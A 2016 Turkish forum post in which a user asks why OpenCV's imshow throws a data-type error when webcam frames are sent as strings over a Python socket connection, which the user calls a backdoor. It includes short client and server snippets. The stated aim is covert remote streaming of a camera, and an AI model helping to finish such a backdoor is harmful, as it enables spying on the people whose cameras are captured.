Python Veri tipi sorunu!

Başlatan GeoWorm, 29 Temmuz 2016 - 16:44:13

« önceki - sonraki »

0 Üyeler ve 3 Ziyaretçi konuyu incelemekte.

GeoWorm

Merhaba Arkadaşlar,

Python ile socket kütüphanesi kullanarak backdoor üzerinden veri transferi gerçekleştiriyorum. Bu veriler kameraya bağlı dönen array tipli veriler. Fakat soket üzerinden veriyi string olarak aktarmak zorundayım. Client'tan String'e çevirip gönderdiğimde server'da array'e çevirmeme rağmen cv2.imshow()'da dönen görüntü değerlerini kamera görüntüsüne çeviremiyorum.

sorun olan bölgenin kodları;

Server.py

while True:   
                print "dondum durdum"
                rval = bool(baglanti.recv(1024))
                frame = baglanti.recv(1024)
                cv2.imshow("preview", np.array(frame))  #SORUN BURADA KAYNAKLANIYOR. BU KODU KALDIRDIGIMDA CLIENT'TAN SERVER'A VERI AKISI GERCEKLESIYOR

                #rval = bool(baglanti.recv(4096))
                #frame = array(baglanti.recv(4096))

Client.py

while rval:
                       
                rval, frame = vc.read()
                soket.send(str(rval)) 
                soket.send(str(frame))


Bana dönen hata değeri;

Traceback (most recent call last):
  File "server.py", line 102, in <module>
    cv2.imshow("preview", np.array(frame))
TypeError: mat data type = 18 is not supported

Bu konu hakkında bilgisi olan birileri var mıdır acaba?